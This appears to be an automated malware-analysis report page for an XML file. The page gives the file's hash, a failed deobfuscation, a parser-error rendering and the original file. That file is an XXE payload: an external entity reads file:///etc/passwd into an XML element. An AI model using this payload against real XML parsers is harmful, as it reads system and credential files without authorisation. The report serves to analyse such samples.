PHP Malware Analysis

xml.xml

md5: 03d3daf7230fe20741d041118641695a

Jump to: 

Screenshot
Attributes
URLs
  • file:///etc/passwd (Original)
  • http://www.w3.org/1999/xhtml (HTML)

Deobfuscated PHP code
Failed to deobfuscate code
Execution traces
Generated HTML code
<html xmlns="http://www.w3.org/1999/xhtml"><body><parsererror style="display: block; white-space: pre; border: 2px solid #c77; padding: 0 1em 0 1em; margin: 1em; background-color: #fdd; color: black"><h3>This page contains the following errors:</h3><div style="font-family:monospace;font-size:12px">error on line 3 at column 2: StartTag: invalid element name
</div><h3>Below is a rendering of the page up to the first error.</h3></parsererror></body></html>
Original PHP code
<?xml version = "1.0" encoding = "UTF-8" standalone = "no" ?>
<!DOCTYPE Stockmarket SYSTEM "stck.dtd">
<!DOCTYPE test [ <!ENTITY fee "file:///etc/passwd"> ]>
<Stockmarket>
<sname>&fee;</sname>
<branch>nine</branch>
<contact>(022) 245-8597</contact>
</Stockmarket>